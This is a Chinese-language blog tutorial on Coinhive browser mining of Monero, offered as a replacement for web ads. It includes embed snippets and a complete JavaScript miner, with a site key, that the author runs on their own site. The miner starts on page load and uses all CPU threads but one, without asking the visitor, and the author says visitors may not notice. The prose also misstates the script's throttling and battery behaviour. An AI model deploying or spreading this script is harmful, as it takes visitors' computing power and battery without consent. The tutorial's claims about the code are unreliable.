Coinhive 挖礦教學 - Javascript 網頁挖礦，讓瀏覽者幫網站主挖礦賺取門羅幣 Monero (XMR)

Coinhive 提供了讓網站主在自己的網頁置入挖礦程式挖取門羅幣 Monero (XMR)，做以取代傳統網頁廣告像 Google Adsense 的投置廣告，隨著 AdBlock 的普及，投放廣告早已經賺不到太多的收入，而且廣告費談判也極度失衡，完全被第三方綁架，非常不符合去中心化的概念，因此產生出了這種以網頁挖礦代替廣告的方式，借用瀏覽者部分的 CPU 效能 (不使用顯卡) 來幫網站主直接賺取虛擬貨幣收益，本站也同樣選用 Coinhive 代替網頁廣告，或許你有發現也或許沒有，但實質上造成的影響其實遠沒有想像中的大，隨著電腦配備的進步，瀏覽網頁已經是電腦的最基本功能，大部分電腦的效能在看網頁上都是遊刃有餘，只要有相關的停止措施和對行動裝置優化，我認為網頁挖礦對使用者帶來的影響反而比廣告更小。

預設的挖礦 GUI

Coinhive 網頁挖礦

官網 : https://coinhive.com/
挖礦幣別 : 門羅幣 Monero (XMR)
起付額 : 0.02 XMR (0.5 XMR免手續費)
收益算法 : (<solved_hashes>/<global_difficulty>) * <block_reward> * 0.7

可以看到 Coinhive 會抽取三成的收益，官網提到是為了支援維護費用，可以在 FAQ 裡面詳讀。但必須說我用 Coinhive 至今只碰過一次伺服器維修了幾個小時，他們也馬上在面板上發公告致歉，而且用推算的算力補足這段時間的收益，我會覺得這樣的服務品質還算值得。

註冊 (https://coinhive.com/account/signup) 完後就可以到 Settings>Sites & API Keys 建立密鑰，不同網站可以共用一個 key 沒關係，Secret Key記得不要讓他人知道，如果洩漏了可以按 revoke 重新產生。

到 Documentation 選擇適合自己網站的程式碼(https://coinhive.com/documentation)，基本上它分為幾種，個人網站會選用的大概就是最簡單的 Simple Miner UI 和 JavaScript Miner，如果是使用 WordPress 的用戶也可以直接裝 Plugin。

最簡單的 Simple Miner UI :

<script src="https://authedmine.com/lib/simple-ui.min.js" async></script>
<div class="coinhive-miner" 
 style="width: 256px; height: 310px"
 data-key="RQjZrjeqqcG1UU4rSLBkQwKBv0oki9hZ">
 <em>Loading...</em>
</div>

基本上只要把 data-key 換成剛剛產生的 key 就可以使用了，當然它還有許多參數可以更改，如下 : 

<script src="https://authedmine.com/lib/simple-ui.min.js" async></script>
<div class="coinhive-miner" 
 style="width: 256px; height: 310px"
 data-key="RQjZrjeqqcG1UU4rSLBkQwKBv0oki9hZ"
 data-autostart="true"     /*自動開始*/
 data-whitelabel="false"   /*顯示標籤*/
 data-background="#000000" /*背景顏色*/
 data-text="#eeeeee"       /*文字顏色*/
 data-action="#00ff00"     /*動作顏色*/
 data-graph="#555555"      /*圖形顏色*/
 data-threads="4"          /*執行緒*/
 data-throttle="0.1">      /*保留的效能*/
 <em>Loading...</em>
</div>

結果就是像下面的介面。

Loading...

而 JavaScript Miner 更適合進階使用者，它有更多的細節和自訂介面可以設定。

這邊提供本站使用的附有開始停止和統計 hashes 的 JavaScript :

<script src="https://coinhive.com/lib/coinhive.min.js"></script><center>
<p style="font-size: 11pt;" id="status"></p>
<p style="font-size: 11pt;" id="hashesPerSecond"></p>
<p style="font-size: 11pt;" id="getTotalHashes"></p>
<p style="font-size: 11pt;" id="stopped"></p>
<p id="minerbutton"></p></center>
<script>
if (navigator.hardwareConcurrency > 1){
 var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency-1)}
}else{
 var cpuConfig = {throttle:0.5}
}
var miner = new CoinHive.Anonymous('RQjZrjeqqcG1UU4rSLBkQwKBv0oki9hZ', cpuConfig);
miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
// Update stats once per second
setInterval(function() {
 var threadCount = miner.getNumThreads();
 var hashesPerSecond = Math.round(miner.getHashesPerSecond());
 var getTotalHashes = miner.getTotalHashes();
try {
 navigator.getBattery().then(function (battery) {
  if (battery.level < 0.50 && battery.charging == false) {
   miner.stop();
   document.getElementById("stopped").innerHTML = "Low Battery";
  }
 });
}catch(e){console.log(e)}
 // Output to HTML elements...
 if (miner.isRunning()) {
  document.getElementById("status").innerHTML = "Status : Using " + threadCount + " threads";
  document.getElementById("hashesPerSecond").innerHTML = "Hashrate : " + hashesPerSecond + " H/s";
  document.getElementById("getTotalHashes").innerHTML = "Total : " + getTotalHashes + " Hashes";
  document.getElementById("minerbutton").innerHTML = "<button onclick=\"miner.stop()\">Stop Mining</button>";
 }else{
  document.getElementById("status").innerHTML = "Status : n/a";
  document.getElementById("hashesPerSecond").innerHTML = "Hashrate : " + 0 + " H/s";
  document.getElementById("minerbutton").innerHTML = "<button onclick=\"miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)\">Continue Mining</button>";
 }
}, 800);
</script>

它會自動偵測系統的 threads 數，並保留一個 thread 不進行挖礦，以及只耗用一半的效能，以及電量不足或在充電時會自動停止挖礦，只要將 key 改成自己的就可以使用了，實際執行的樣子可以見本站右上方的介面。

而 Coinhive 提供的 Capcha 則是提供類似轉址和 proof of work 的功能，也順便解開一定量的 hashes 回饋建立連結的人，可以在 Capcha 頁面或 Shortlinks 找到適合自己網站使用的功能。